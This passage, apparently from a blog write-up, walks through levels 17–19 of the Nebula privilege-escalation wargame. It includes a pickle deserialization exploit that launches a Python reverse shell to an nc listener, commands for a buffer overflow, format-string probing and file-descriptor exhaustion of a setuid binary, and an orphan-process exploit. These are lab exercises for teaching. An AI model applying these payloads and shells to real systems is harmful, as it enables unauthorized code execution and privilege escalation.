But as the docs state, it is unsecure when the data comes from untrusted sources. In our case, the vulnerable server looks like this:

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
    line = skt.recv(1024)

    print 'Got line: "{}"'.format(line)

    obj = pickle.loads(line)

    for i in obj:
        clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
    clnt, addr = skt.accept()

    if(os.fork() == 0):
        clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
        server(clnt)
        exit(1)

The above program spawns a server and loads pickled data from the client data. This is unsecure, because we can craft a pickled string that executes commands.

You can obtain the pickled string by executing the following code:

import os
import pickle

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('python /tmp/bd.py',))

shellcode = pickle.dumps(Exploit())
print shellcode

Then as always, create a connect back shell in /tmp/bd.py which might look like this (make it executable!):

level17@nebula:/home/flag17$ cat /tmp/bd.py 
#!/usr/bin/python
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("localhost", 8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

First open one terminal and enter the following command:

level17@nebula:~$ nc -l localhost 8888

And in the second terminal we exploit the server by entering the following in a terminal:

evel17@nebula:/home/flag17$ nc localhost 10007
Accepted connection from 127.0.0.1:39122cposix
system
p0
(S'python /tmp/bd.py'
p1
tp2
Rp3
.

And then in the first terminal we have a shell with user flag17. Done!

Level 18 - Exhausting file descriptors to create circumstances

In this level, we neet to exploit a C Program that has the setuid bit set. The program has the following code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>


struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
    char file[64];

    if(fgets(file, sizeof(file) - 1, fp) == NULL) {
      dprintf("Unable to read password file %s\n", PWFILE);
      return;
    }
    fclose(fp);
    if(strcmp(pw, file) != 0) return;    
  }
  dprintf("logged in successfully (with%s password file)\n", 
    fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
    switch(c) {
      case 'd':
        globals.debugfile = fopen(optarg, "w+");
        if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
        setvbuf(globals.debugfile, NULL, _IONBF, 0);
        break;
      case 'v':
        globals.verbose++;
        break;
    }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
    char line[256];
    char *p, *q;

    q = fgets(line, sizeof(line)-1, stdin);
    if(q == NULL) break;
    p = strchr(line, '\n'); if(p) *p = 0;
    p = strchr(line, '\r'); if(p) *p = 0;

    dvprintf(2, "got [%s] as input\n", line);

    if(strncmp(line, "login", 5) == 0) {
      dvprintf(3, "attempting to login\n");
      login(line + 6);
    } else if(strncmp(line, "logout", 6) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "shell", 5) == 0) {
      dvprintf(3, "attempting to start shell\n");
      if(globals.loggedin) {
        execve("/bin/sh", argv, envp);
        err(1, "unable to execve");
      }
      dprintf("Permission denied\n");
    } else if(strncmp(line, "logout", 4) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "closelog", 8) == 0) {
      if(globals.debugfile) fclose(globals.debugfile);
      globals.debugfile = NULL;
    } else if(strncmp(line, "site exec", 9) == 0) {
      notsupported(line + 10);
    } else if(strncmp(line, "setuser", 7) == 0) {
      setuser(line + 8);
    }
  }

  return 0;
}

Trying with gdb

First I tried to debug the ./flag18 binary with gdb and overwrite the globals.loggedin global such that it would spawn the shell upon entering shell to stdin. That did indeed work, but the shell wasn't run with flag18 privs, because gdb sets the uid/euid to the real user id instead of the effective user id. This means that gdb drops by default set user id privs.

Trying to use the LD_PRELOAD trick

Then I tried to apply the LD_PRELOAD trick by overwriting fopen() to always return NULL, such that the login() function would succed. I used the following code:

// Compile with:
// gcc -Wall -fPIC -shared -o fopen.so fopen.c
// Then:
// LD_PRELOAD=fopen.so
#include <stdio.h>

FILE *fopen(const char *path, const char *mode) {
    printf("Always failing fopen\n");
    return NULL;
}

But this approach is also doomed to fail, because the LD_PRELOAD trick doesn't work with setuid binaries. The loader will only load libraries that have also the setuid bit set and can be found in standard locations as /usr/lib/ and the like.

For set-user-ID/set-group-ID ELF binaries, only libraries in the standard search directories that are also set-user-ID will be loaded.

Real, effective and the saved user id.

After not having success upon quick examination, it's time to review some of the first lines in the code:

setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());

setresXid sets the real, effective and saved user/group id of the calling process. But what are these different user identifiers for?

  • effective user id (euid): Is used for access checks (like opening a file). Also used for files created. This represents the actual capabilities of the process.
  • real user id (ruid): The users id of the process owner. When there is no setuid/setgid bit set on the process, it's the same as the user who invoked the process.
  • saved user id (suid): Variable to keep track of the original user id. Used to lower privileges and remember them for later use.

So the above calls to setresgid() set all of this different id's to the same value: the effective user/group id.

The hard way - buffer overflow

There is a buffer overflow in the function setuser(). There the a buffer with length 128 is formatted with unbound user input data:

char msg[128];

sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);

To trigger the overrun, call it like this:

python -c 'print "setuser " + 150 * "A"' | ./flag18 -vvvvv -d /tmp/dbg

Format string vulnearabilities

Then there is the function:

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

which can be used to exploit format string vulnearabilities. An example might be to enter the following after having called flag18 with ./flag18 -vvvvv -d /dev/tty:

site exec %s%s%s%s%s%s%s%s%s
got [site exec %s%s%s%s%s%s%s%s%s] as input
F<~F<F<u'VHBBu,OOOOOOOPgot [%s] as input
,--> [%s%s%s%s%s%s%s%s%s] is unsupported at this current time.

The solution

All of this attacks are either not feasable or are hard to mount (especially the memory corruption attacks). So after having spent some hours on this level18, I couldn't come up with a solution and looked on other writeups in the internet, where I found the solution at http://louisrli.github.io/blog/2012/08/17/nebula2/#.Vh-KfR93lhE.

The idea is to make fopen() fail. I saw earlier that the globals.loggedin = 1; is outside of the if statement and that it would be executed when fopen() fails. But it didn't occur to me that fopen() will fail after there are no more file descriptors left and that we can actually open file descriptors in ./flag18 by sending enough login foo commands. Fist check the soft limit of maximum open fds:

level18@nebula:/home/flag18$ ulimit -Sn
1024

Then create a file with 1025 'login' commands followd by a 'closelog' and 'shell' command. The closelog will free one more filedescriptor such that the execvp() syscall will succeed.

python -c 'open("/home/level18/flood", "w").write("login foo\n"*1025 + "closelog\n" + "shell\n")'

Then exploit the ./flag18 binary:

cat ~/flood | ./flag18 --init-file /foo -d /dev/tty -vvvvv

Because execve("/bin/sh", argv, envp); will call the shell with all args supplied here, we need a argument which ignores them (the job of --init-file).

This will yield a shell and we are done!

Sidenote

Actually the code is misleading. In assumed that every fd will be closed in the login() function:

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
    char file[64];

    if(fgets(file, sizeof(file) - 1, fp) == NULL) {
      dprintf("Unable to read password file %s\n", PWFILE);
      return;
    }
    fclose(fp);
    if(strcmp(pw, file) != 0) return;    
  }
  dprintf("logged in successfully (with%s password file)\n", 
    fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

Because if fopen() is opened and the contents are read, we immediately close it again. But apparantly this doesn't somehow happen and the fds stay open. Why?

Level 19 - Zombie Processes belong to init!

In level 19 we have a setuid C program that first creates a path to the procfs of its parent process: snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());.

We need to achieve that stat() returns st_uid == 0 for the created file. This is only possible if the parent process /proc/pid directory is owned by the root user.

I didn't solve this level on my own and peeked at the solution at <>. The basic idea is to make use of the default behaviour of unix processes, that they are reassigned to the init process, when its parent process exits before the child process stops.

So the idea is to create a program that forks, wait's until the parent process dies (by calling sleep) and finally calls the /home/flag19/flag19 setuid binary with execve().

#include <unistd.h>

int main(int argc, char **argv, char **envp) {
    int childPID = fork();
    if(childPID >= 0) { // forked
        if(childPID == 0) { // child
            sleep(1);
            setresuid(geteuid(),geteuid(),geteuid());
            char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
            execve("/home/flag19/flag19", args, envp);
        }
    }
    return 0;
}